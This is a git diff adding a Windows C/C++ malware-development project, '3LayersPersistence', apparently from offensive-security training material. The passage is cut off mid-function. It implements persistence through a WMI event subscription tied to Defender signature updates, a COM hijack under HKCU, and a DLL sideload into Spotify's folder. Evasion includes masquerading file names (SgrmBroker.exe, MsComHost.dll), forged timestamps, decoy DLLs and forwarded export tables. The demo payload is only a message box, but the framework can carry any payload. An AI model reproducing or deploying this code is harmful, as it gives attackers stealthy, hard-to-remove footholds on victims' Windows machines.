IMAGE_NT_SIGNATURE) + { + DBG("[!] Invalid PE Headers"); + goto _END_OF_FUNC; + } + + // Flip the DLL characteristic bit and redirect the entry point to DllMain + pImgNtHdrs->FileHeader.Characteristics |= IMAGE_FILE_DLL; + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint = dwDllMainRva; + pImgNtHdrs->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI; + + // Read the original DLL. Required by GetDllTimestamp and BuildExportTableFromDll + if (!(pwszOriginalDllPath = (LPWSTR)ConvertString((LPVOID)pszOriginalDllPath, lstrlenA(pszOriginalDllPath), ENCODING_ANSI_TO_WIDE))) + goto _END_OF_FUNC; + + if (!ReadFileFromDiskW(pwszOriginalDllPath, &pOriginalDllBuffer, &dwOriginalDllSize)) + { + DBG("[!] Failed To Read Original DLL: %s", pszOriginalDllPath); + HEAP_FREE(pwszOriginalDllPath); + goto _END_OF_FUNC; + } + + HEAP_FREE(pwszOriginalDllPath); + + // Get a 30 days older timestamp than the original DLL or 60 days older than now + dwOriginalDllTimeStamp = GetDllTimestamp(pOriginalDllBuffer, dwOriginalDllSize); + + // Build a forwarded export table that mirrors the original DLL's exports. + if (!BuildExportTableFromDll((ULONG_PTR)pOriginalDllBuffer, dwOriginalDllSize, pszCopiedDllName, &pExportTable, &dwExportCount)) + { + DBG("[!] Failed To Build Export Table From: %s", pszOriginalDllPath); + goto _END_OF_FUNC; + } + + // Linker always emits a 'coffgrp' debug entry regardless of debug settings. + // So we patch it to match the export table and nt headers + { + DWORD dwDbgDirRva = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress; + if (dwDbgDirRva) + { + PIMAGE_DEBUG_DIRECTORY pDebugDir = (PIMAGE_DEBUG_DIRECTORY)(uFileBuffer + RvaToFileOffset(pImgNtHdrs, dwDbgDirRva)); + DWORD dwDbgCount = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size / sizeof(IMAGE_DEBUG_DIRECTORY); + + for (DWORD i = 0; i < dwDbgCount; i++) + pDebugDir[i].TimeDateStamp = dwOriginalDllTimeStamp; + } + } + + // Append a new ".edata" section to the PE buffer and populate it with the forwarded export directory built using BuildExportTableFromDll + if (!PatchExportAddressTable(&uFileBuffer, &dwFileSize, PathFindFileNameA(pszOriginalDllPath), pExportTable, dwExportCount, dwOriginalDllTimeStamp)) + goto _END_OF_FUNC; + + *ppDllBuffer = (PBYTE)uFileBuffer; + *pdwDllFileSize = dwFileSize; + +_END_OF_FUNC: + HEAP_FREE(pOriginalDllBuffer); + HEAP_FREE(pExportTable); + if (!*ppDllBuffer) + HEAP_FREE(uFileBuffer); + return *ppDllBuffer ? TRUE : FALSE; +} + diff --git a/3LayersPersistence/CrtStubs.cpp b/3LayersPersistence/CrtStubs.cpp new file mode 100644 index 0000000..dbb13b5 --- /dev/null +++ b/3LayersPersistence/CrtStubs.cpp @@ -0,0 +1,26 @@ +// If compiled in "Stripped" mode +#if !defined(_DEBUG) && !defined(NDEBUG) + +#include + +#pragma function(memset) +void* memset(void* dst, int val, size_t size) +{ + unsigned char* p = (unsigned char*)dst; + while (size--) + *p++ = (unsigned char)val; + return dst; +} + +#pragma function(memcpy) +void* memcpy(void* dst, const void* src, size_t size) +{ + unsigned char* d = (unsigned char*)dst; + const unsigned char* s = (const unsigned char*)src; + while (size--) + *d++ = *s++; + return dst; +} + + +#endif diff --git a/3LayersPersistence/Headers.h b/3LayersPersistence/Headers.h new file mode 100644 index 0000000..d31d694 --- /dev/null +++ b/3LayersPersistence/Headers.h @@ -0,0 +1,278 @@ +#pragma once +#ifndef HEADERS_H +#define HEADERS_H + +#include +#include +#include +#include +#include + +#pragma comment(lib, "Wtsapi32.lib") +#pragma comment(lib, "Wbemuuid.lib") +#pragma comment(lib, "advapi32.lib") + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// TUNABLE CONSTANTS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +// ============================================================== +// LAYER 1 - WMI PERSISTENCE +// Monitors a registry value change to trigger execution of our +// dropped executable via a WMI event subscription. +// ============================================================== +#define WMI_OBJECT_PREFIX L"MaldevAcademy" +#define WMI_TRIGGER_DELAY 30 // Seconds to wait before firing after the event is triggered +#define WMI_TRIGGER_REG_HIVE L"HKEY_LOCAL_MACHINE" +#define WMI_TRIGGER_REG_KEY L"SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates" +#define WMI_TRIGGER_REG_VALUE L"SignatureUpdateLastAttempted" // Timestamp that will change when windows defender does a signature update +#define WMI_EXE_INSTALLATION_DIR L"%SystemRoot%\\System32\\wbem" // Directory created to host our persisting executable +#define WMI_EXE_INSTALLATION_NAME L"SgrmBroker.exe" + +// ============================================================== +// LAYER 2 - COM HIJACK +// Hijacks a COM object by creating a matching CLSID key under HKCU. +// HKCU is checked before HKLM, so our DLL gets loaded instead of the real one. +// +// The real HKLM registration (used to identify the system DLL to forward calls to) is: +// C:\Windows\System32\Windows.StateRepositoryPS.dll +// +// Fetched by calling: +// (Get-Item 'HKLM:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32').GetValue('') +// +// The hijacked key we create under HKCU is: +// HKCU\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32 +// ============================================================== +#define COM_HIJACK_KEY L"Software\\Classes\\CLSID\\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\\InProcServer32" +#define COM_THREADING_MODEL L"ThreadingModel" +#define COM_THREADING_VALUE L"Both" +#define COM_DLL_DIR L"%APPDATA%\\Microsoft\\Common" // Directory created to host our COM DLL +#define COM_PAYLOAD_DLL_NAME L"MsComHost.dll" // Our DLL. this is what the hijacked COM object will load +#define COM_FORWARD_DLL_NAME L"Common.StateRepositoryRM.dll" // Renamed copy of the original system DLL (Windows.StateRepositoryPS.dll), used to forward exported function calls +#define COM_SYSTEM_DLL_NAME L"Windows.StateRepositoryPS.dll" // The original system DLL under System32 that we copy and rename as Common.StateRepositoryRM.dll + +// Real Ms*.dll files copied from System32 next to our payload (MsComHost.dll) to make the directory look legitimate +// Fetched by calling: +// (Get-ChildItem -Path "C:\Windows\System32" -Filter "Ms*.dll") +#define COM_DECOY_DLL_1 L"MsApoFxProxy.dll" +#define COM_DECOY_DLL_2 L"msvfw32.dll" +#define COM_DECOY_DLL_3 L"msfeeds.dll" +#define COM_DECOY_DLL_4 L"msprivs.dll" +#define COM_DECOY_DLL_5 L"msvcrt.dll" +#define COM_DECOY_DLL_6 L"MSVidCtl.dll" + +#define COM_DECOY_DLLS_COUNT 6 +#define GET_DLL(N) COM_DECOY_DLL_##N // Resolves to COM_DECOY_DLL_N at compile time +#define DLL_ENTRY(N) GET_DLL(N) + + +// ============================================================== +// LAYER 3 - DLL SIDELOADING +// Spotify loads dsound.dll from its own directory before System32. +// We place our DLL as dsound.dll, and drop the real dsound.dll +// (renamed to dspatial.dll) alongside it to forward function calls. +// ============================================================== +#define SIDELOAD_PAYLOAD_DLL L"dsound.dll" // Our payload DLL name — matches what Spotify loads +#define SIDELOAD_FORWARD_DLL L"dspatial.dll" // Renamed original dsound.dll from System32, used to forward exports +#define SIDELOAD_APP_DIR L"%APPDATA%\\Spotify" // Spotify's directory — vulnerable to local DLL sideloading + + +// ============================================================== +// PAYLOAD CONFIGURATION +// Registry key written during initial execution to signal the persisting WMI executable +// that the 2nd and 3rd persistence layers are already deployed, +// preventing redundant re-patching to dlls and re-installation. +// ============================================================== +#define CONFIG_REG_KEY L"Software\\" WMI_OBJECT_PREFIX L"\\XXXX" +#define CONFIG_REG_VALUE_NAME L"AppIdentifier" +#define CONFIG_REG_VALUE_DATA 0x4C4C554E + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// GENERAL CONSTANTS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#define BUFFER_SIZE_16 16 +#define BUFFER_SIZE_32 32 +#define BUFFER_SIZE_64 64 +#define BUFFER_SIZE_128 128 +#define BUFFER_SIZE_256 256 +#define BUFFER_SIZE_512 512 +#define BUFFER_SIZE_1024 1024 +#define BUFFER_SIZE_2048 2048 +#define BUFFER_SIZE_4096 4096 +#define BUFFER_SIZE_8192 8192 + +#define FNV_OFFSET_BASIS 14695981039346656037ULL +#define FNV_PRIME 1099511628211ULL +#define FNV_MUL_HH 0x9E3779B97F4A7C15ULL +#define FNV_MUL_MM 0x6C62272E07BB0142ULL +#define FNV_MUL_SS 0xBF58476D1CE4E5B9ULL + +#define MUTEX_NAME_FMT "Global\\%016I64X" + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// DATA DEFINITIONS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +typedef struct _EXPORT_ENTRY +{ + LPCSTR pszName; // Export Function Name. If Set to NULL, Function is Exported vua Ordinal Only + ULONG_PTR uFuncAddress; // RVA of Function. If Set to NULL, The Function is Forwarded + WORD wOrdinal; // Ordinal Value. The Value 'INVALID_ORDINAL' Marks End Of Table + LPCSTR pszForward; // Forward String (e.g. "NTDLL.RtlAllocateHeap", "NTDLL.#1053"). If Set to NULL, Function is Exported By Name (pszName) or Ordinal (wOrdinal). +} EXPORT_ENTRY, *PEXPORT_ENTRY; + +#define EDATA_SECTION_NAME ".edata" +#define INVALID_ORDINAL (WORD)(0xFFFFF) +#define ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1)) + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// UTILITIES FUNCTIONS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + + +typedef enum _STRING_ENCODING +{ + ENCODING_ANSI_TO_WIDE, + ENCODING_WIDE_TO_ANSI, + ENCODING_UTF8_TO_WIDE, + ENCODING_WIDE_TO_UTF8, + ENCODING_ANSI_TO_UTF8, + ENCODING_UTF8_TO_ANSI + +} STRING_ENCODING; + + +#ifdef __cplusplus +extern "C" { +#endif + + LPVOID ConvertString(IN LPVOID pvSrc, IN INT cbSrc, IN STRING_ENCODING Encoding); + + BOOL ReadFileFromDiskW(IN LPCWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize); + + BOOL WriteFileToDiskW(IN LPCWSTR pszFileName, IN CONST BYTE* pbDataBuffer, IN DWORD dwDataLength); + + BOOL CloneFileTimestampsW(IN LPCWSTR pwszSrcPath, IN LPCWSTR pwszDstPath); + + BOOL SetRegistryStringW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN LPCWSTR pwszValue, IN BOOL bOverwrite); + + BOOL SetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwValue, IN BOOL bOverwrite); + + BOOL GetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, OUT PDWORD pdwOutput); + + BOOL DeleteRegistryKeyW(IN HKEY hRoot, IN LPCWSTR pwszPath); + + BOOL GetSystem32PathW(IN LPCWSTR pwszFileName, OUT LPWSTR pwszOutPath, IN DWORD dwOutSize); + + BOOL EnsureDirectoryExistsW(IN LPCWSTR pwszPath, IN BOOL bIsFilePath); + + BOOL CopyFileToDirW(IN LPCWSTR pwszDestPath, IN OPTIONAL LPCWSTR pwszDestName, IN OPTIONAL LPCWSTR pwszSrcPath, IN LPCWSTR pwszSrcName, OUT OPTIONAL LPWSTR pwszOutFullPath, IN OPTIONAL DWORD dwOutFullPathSize); + +#ifdef __cplusplus +} +#endif + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// PERSISTENCE FUNCTIONS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + + +#ifdef __cplusplus +extern "C" { +#endif + + BOOL ConvertExecutableToDll(IN LPCSTR pszOriginalDllPath, IN LPCSTR pszCopiedDllName, IN ULONG_PTR uDllMain, OUT PBYTE* ppDllBuffer, OUT DWORD* pdwDllFileSize); + + BOOL VerifyOrCreateRegistryFlag(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwExpectedValue, OUT OPTIONAL BOOL* pbAlreadyExisted); + + BOOL AcquirePayloadMutex(OUT HANDLE* phMutex); + + VOID ReleasePayloadMutex(IN HANDLE hMutex); + + BOOL DropExecutableForWmi(); + + BOOL InstallComHijack(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize); + + BOOL DropSideloadDlls(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize); + +#ifdef __cplusplus +} +#endif + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// MACROS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#ifdef __cplusplus + +#define HEAP_ALLOC(ptr, size) \ + do { \ + (ptr) = (decltype(ptr))HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size)); \ + if (!(ptr)) DBG_LAST_ERROR("HeapAlloc"); \ + } while (0) + +#define HEAP_REALLOC(ptr, size) \ + do { \ + LPVOID _pTmp = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (LPVOID)(ptr), (size)); \ + if (!_pTmp) { DBG_LAST_ERROR("HeapReAlloc"); } \ + else { (ptr) = (decltype(ptr))_pTmp; } \ + } while (0) + + +#else //!__cplusplus + +#define HEAP_ALLOC(ptr, size) \ + do { \ + (ptr) = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size)); \ + if (!(ptr)) DBG_LAST_ERROR("HeapAlloc"); \ + } while (0) + +#define HEAP_REALLOC(ptr, size) \ + do { \ + LPVOID _pTmp = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (LPVOID)(ptr), (size)); \ + if (!_pTmp) { DBG_LAST_ERROR("HeapReAlloc"); } \ + else { (ptr) = _pTmp; } \ + } while (0) + +#endif // __cplusplus + + +#define BSTR_LITERAL(s) (BSTR)(s) + +#define SAFE_FREE_BSTR(bstr) \ + if (bstr) \ + { \ + SysFreeString((BSTR)(bstr)); \ + bstr = NULL; \ + } + +#define HEAP_FREE(ptr) \ + do { \ + if (ptr) { \ + HeapFree(GetProcessHeap(), 0, (LPVOID)(ptr)); \ + (ptr) = 0x00; \ + } \ + } while (0) + +#define HEAP_SECURE_FREE(ptr, size) \ + do { \ + if (ptr) { \ + SecureZeroMemory((PVOID)(ptr), (size)); \ + HeapFree(GetProcessHeap(), 0, (LPVOID)(ptr)); \ + (ptr) = 0x00; \ + } \ + } while (0) + +#define CLOSE_HANDLE(handle) \ + do { \ + if ((handle) && (handle) != INVALID_HANDLE_VALUE) { \ + CloseHandle((handle)); \ + (handle) = NULL; \ + } \ + } while (0) + + + +#endif // !HEADERS_H + diff --git a/3LayersPersistence/Main.c b/3LayersPersistence/Main.c new file mode 100644 index 0000000..cfd361e --- /dev/null +++ b/3LayersPersistence/Main.c @@ -0,0 +1,311 @@ +#include "Headers.h" + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// GLOBAL VARIABLES +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +// Pinned module handle set in DllMain. +// This is used by RunMessageBox ("Payload" Function) to identify the DLL name in the message +static HMODULE g_hPinnedModule = NULL; + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// HELPERS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +static LPCWSTR GetCurrentImageName(IN OPTIONAL HMODULE hModule) +{ + static WCHAR szDllPath[MAX_PATH] = { 0 }; + static WCHAR szProcPath[MAX_PATH] = { 0 }; + + WCHAR* szTarget = (hModule != NULL) ? szDllPath : szProcPath; + + RtlSecureZeroMemory(szTarget, MAX_PATH * sizeof(WCHAR)); + + if (!GetModuleFileNameW(hModule, szTarget, MAX_PATH)) + return L""; + + return PathFindFileNameW(szTarget); +} + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// "Payload" Function +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +static DWORD RunMessageBox(IN LPVOID pIsDllPayloadFile) +{ + WCHAR wszCaption[MAX_PATH] = { 0 }; + WCHAR wszMessage[MAX_PATH] = { 0 }; + DWORD dwSessionId = WTSGetActiveConsoleSessionId(); + DWORD dwResponse = 0x00; + + if (pIsDllPayloadFile) + { + if (wsprintfW(wszCaption, L"Injected Into: %ws", GetCurrentImageName(NULL)) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return 0x00; + } + + if (wsprintfW(wszMessage, L"Hello from %ws! (%ld)", GetCurrentImageName(g_hPinnedModule), GetCurrentProcessId()) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return 0x00; + } + } + else + { + if (wsprintfW(wszCaption, L"Running As: %ws", GetCurrentImageName(NULL)) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return 0x00; + } + + if (wsprintfW(wszMessage, L"Hello from %ws! (%ld)", GetCurrentImageName(NULL), GetCurrentProcessId()) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return 0x00; + } + } + + WTSSendMessageW( + WTS_CURRENT_SERVER_HANDLE, + dwSessionId, + wszCaption, (DWORD)(lstrlenW(wszCaption) * sizeof(WCHAR)), + wszMessage, (DWORD)(lstrlenW(wszMessage) * sizeof(WCHAR)), + MB_OK | MB_ICONINFORMATION, + 0, + &dwResponse, + TRUE + ); + + return 0x00; +} + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// DLL ENTRY POINT LOGIC +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +static DWORD WINAPI DllPayloadThread(IN LPVOID lpParameter) +{ + // The module refcount bump taken in DllMain is intentionally never released here — + // dropping it would allow the COM host to unload us while still holding pointers + // to our forwarded exports, causing the next COM call to fault on unmapped memory. + // The kernel releases the refcount automatically when the process exits. + UNREFERENCED_PARAMETER(lpParameter); + + static HANDLE hMutexHandle = NULL; + static BOOL bAlreadyRanInCurrentProcess = FALSE; + + // if another process already owns the mutex, the payload is already running system-wide and we should not execute again + if (AcquirePayloadMutex(&hMutexHandle)) + { + DBG("[!] Payload Already Running In Another Process. Skipping..."); + return 0x00; + } + + // The COM host may unload and reload our DLL multiple times within the same process lifetime + // The static flag survives reloads and prevents re-execution in that case. + // InterlockedCompareExchange guards against two DllPayloadThread(s) racing if + // the COM host loads us on two threads simultaneously. + if (InterlockedCompareExchange((LONG*)&bAlreadyRanInCurrentProcess, TRUE, FALSE)) + { + DBG("[!] Payload Already Executed In This Process. Skipping..."); + return 0x00; + } + + RunMessageBox((PVOID)TRUE); + + return 0x00; +} + + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) +{ + UNREFERENCED_PARAMETER(hModule); + UNREFERENCED_PARAMETER(lpReserved); + + static HMODULE hCurrModule = NULL; + HANDLE hThread = NULL; + HMODULE hPinnedModule = NULL; + + switch (dwReason) + { + case DLL_PROCESS_ATTACH: + { + // Bump our own module refcount before spawning the thread. + // Without this bump, if the host process calls FreeLibrary while our thread is still + // running, the refcount drops to zero and the loader unmaps us, crashing the process. + // GetModuleHandleExW with GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS (and without + // GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT) increments the module refcount, + // guaranteeing the loader cannot unmap our module for as long as we hold this + // extra reference. We intentionally never call FreeLibrary on hPinnedModule, and + // instead leave the kernel to drop it on process exit. + if (!GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)DllPayloadThread, &hPinnedModule)) + { + DBG_LAST_ERROR("GetModuleHandleExW"); + return TRUE; + } + + hCurrModule = hPinnedModule; + g_hPinnedModule = hPinnedModule; + + DisableThreadLibraryCalls(hCurrModule); + + DBG("[*] DLL %ws Attached To PID: %lu | Process: %ws | At: 0x%p", + GetCurrentImageName(hCurrModule), + GetCurrentProcessId(), + GetCurrentImageName(NULL), + hCurrModule); + + if (!(hThread = CreateThread(NULL, 0x00, DllPayloadThread, NULL, 0x00, NULL))) + { + DBG_LAST_ERROR("CreateThread"); + + // Thread creation failed, so we have to release the refcount we made. + // Without this, the DLL can never be unloaded cleanly by the COM host + FreeLibrary(hPinnedModule); + } + + CLOSE_HANDLE(hThread); + break; + } + + case DLL_PROCESS_DETACH: + { + // Mutex is intentionally not released here. + // Releasing on detach would allow re-acquisition on the next + // DLL_PROCESS_ATTACH, breaking the mutex guard. The COM host frequently + // unloads and reloads DLLs between COM calls, so detach does not mean the + // process is exiting. The kernel releases the mutex automatically when the + // process truly exits. + DBG_CLOSE(); + break; + } + + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + + return TRUE; +} + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// EXE ENTRY POINT LOGIC +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +int main() +{ + HANDLE hMutex = NULL; + PBYTE pDllFileBuffer = NULL; + DWORD dwDllFileSize = 0x00; + LPSTR pszDllName = NULL, + pszSystem32DllPath = NULL; + WCHAR wszSystem32DllPath[MAX_PATH] = { 0 }; + BOOL bAlreadyInstalled = FALSE; + + if (AcquirePayloadMutex(&hMutex)) + { + DBG("[!] Payload Already Running. Exiting..."); + return 0; + } + + // Check if persistence layers were already installed in a previous run. + if (!VerifyOrCreateRegistryFlag(HKEY_CURRENT_USER, CONFIG_REG_KEY, CONFIG_REG_VALUE_NAME, CONFIG_REG_VALUE_DATA, &bAlreadyInstalled)) + return -1; + + if (bAlreadyInstalled) + { + DBG("[i] Persistence Layers Already Installed, Skipping..."); + goto _RUN_PAYLOAD; + } + + // ============================================================== + // LAYER 3 - DLL SIDELOAD + // Reads exports from the real dsound.dll in System32, patches our + // EXE into a proxy DLL that forwards all calls to dspatial.dll, + // then drops both into Spotify's directory. + // Spotify loads dsound.dll from its own directory before System32, + // so our proxy gets loaded instead of the real one. + // ============================================================== + + // Forward DLL name is the renamed copy of the real dsound.dll (dspatial.dll) + if (!(pszDllName = (LPSTR)ConvertString((LPVOID)SIDELOAD_FORWARD_DLL, lstrlenW(SIDELOAD_FORWARD_DLL), ENCODING_WIDE_TO_ANSI))) + return -1; + + // Resolve the full System32 path of the real dsound.dll to read its exports + if (!GetSystem32PathW(SIDELOAD_PAYLOAD_DLL, wszSystem32DllPath, ARRAYSIZE(wszSystem32DllPath))) + goto _END_OF_FUNC; + + if (!(pszSystem32DllPath = (LPSTR)ConvertString((LPVOID)wszSystem32DllPath, lstrlenW(wszSystem32DllPath), ENCODING_WIDE_TO_ANSI))) + goto _END_OF_FUNC; + + // Patch our EXE into a proxy DLL with dsound.dll's export table, forwarding all calls to dspatial.dll, then drop it into Spotify's directory + if (ConvertExecutableToDll(pszSystem32DllPath, pszDllName, (ULONG_PTR)DllMain, &pDllFileBuffer, &dwDllFileSize)) + DropSideloadDlls(pDllFileBuffer, dwDllFileSize); + + HEAP_FREE(pszDllName); + HEAP_FREE(pszSystem32DllPath); + HEAP_FREE(pDllFileBuffer); + + // ============================================================== + // LAYER 2 - COM HIJACK + // Reads exports from Windows.StateRepositoryPS.dll, patches our EXE + // into a proxy DLL that forwards all calls to Common.StateRepositoryRM.dll, + // then registers it under HKCU so it gets loaded instead of the real one. + // HKCU is checked before HKLM by the COM loader, so our DLL wins. + // ============================================================== + + // Forward DLL name is the renamed copy of Windows.StateRepositoryPS.dll + if (!(pszDllName = (LPSTR)ConvertString((LPVOID)COM_FORWARD_DLL_NAME, lstrlenW(COM_FORWARD_DLL_NAME), ENCODING_WIDE_TO_ANSI))) + return -1; + + // Resolve the full System32 path of the real Windows.StateRepositoryPS.dll to read its exports + if (!GetSystem32PathW(COM_SYSTEM_DLL_NAME, wszSystem32DllPath, ARRAYSIZE(wszSystem32DllPath))) + goto _END_OF_FUNC; + + if (!(pszSystem32DllPath = (LPSTR)ConvertString((LPVOID)wszSystem32DllPath, lstrlenW(wszSystem32DllPath), ENCODING_WIDE_TO_ANSI))) + goto _END_OF_FUNC; + + // Patch our EXE into a proxy DLL with Windows.StateRepositoryPS.dll's export table forwarding all calls to Common.StateRepositoryRM.dll, then install the COM hijack registry key + if (ConvertExecutableToDll(pszSystem32DllPath, pszDllName, (ULONG_PTR)DllMain, &pDllFileBuffer, &dwDllFileSize)) + InstallComHijack(pDllFileBuffer, dwDllFileSize); + + HEAP_FREE(pszDllName); + HEAP_FREE(pszSystem32DllPath); + HEAP_FREE(pDllFileBuffer); + + + // ============================================================== + // LAYER 1 - WMI PERSISTENCE + // Copies our EXE to a directory and registers a WMI event + // subscription that executes it every time windows defender does + // a signature update. + // This is done using a registry value change trigger (SignatureUpdateLastAttempted). + // Dropped binary is SgrmBroker.exe under System32\wbem\ + // ============================================================== + DropExecutableForWmi(); + +_RUN_PAYLOAD: + + RunMessageBox(FALSE); + +_END_OF_FUNC: + HEAP_FREE(pszDllName); + HEAP_FREE(pszSystem32DllPath); + HEAP_FREE(pDllFileBuffer); + // Release the mutex + ReleasePayloadMutex(hMutex); + DBG_CLOSE(); + return 0; +} + + +// If compiled in "Stripped" mode +#if !defined(_DEBUG) && !defined(NDEBUG) +void EntryPoint() +{ + INT nResult = main(); + ExitProcess(nResult); +} +#endif diff --git a/3LayersPersistence/PersistenceLayers.cpp b/3LayersPersistence/PersistenceLayers.cpp new file mode 100644 index 0000000..afd7de3 --- /dev/null +++ b/3LayersPersistence/PersistenceLayers.cpp @@ -0,0 +1,709 @@ +#include "Headers.h" + + + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#pragma region PAYLOAD_MANAGEMENT + +static BOOL GetMutexName(OUT LPSTR szMutexName, IN DWORD dwMutexNameLen) +{ +constexpr BYTE TIME_HH = (__TIME__[0] - '0') * 10 + (__TIME__[1] - '0'); +constexpr BYTE TIME_MM = (__TIME__[3] - '0') * 10 + (__TIME__[4] - '0'); +constexpr BYTE TIME_SS = (__TIME__[6] - '0') * 10 + (__TIME__[7] - '0'); +constexpr DWORD64 TIME_SALT = ((DWORD64)TIME_HH << 16) | ((DWORD64)TIME_MM << 8) | TIME_SS; + + WCHAR wszSystemDir[MAX_PATH] = { 0 }; + WCHAR wszRootDir[0x04] = { 0x00, L':', L'\\', L'\0' }; + DWORD64 dw64VolumeSerial = 0x00; + HRESULT hResult = S_OK; + SIZE_T cbDigest = FNV_OFFSET_BASIS; + + if (!GetSystemDirectoryW(wszSystemDir, MAX_PATH)) + { + DBG_LAST_ERROR("GetSystemDirectoryW"); + return FALSE; + } + + wszRootDir[0] = wszSystemDir[0]; + + if (!GetVolumeInformationW(wszRootDir, NULL, 0, (LPDWORD)&dw64VolumeSerial, NULL, NULL, NULL, 0)) + { + DBG_LAST_ERROR("GetVolumeInformationW"); + return FALSE; + } + + auto fnMix = [&](DWORD64 v) + { + for (int i = 0; i < 8; i++) { + cbDigest ^= (v >> (i * 8)) & 0xFF; + cbDigest *= FNV_PRIME; + } + }; + + 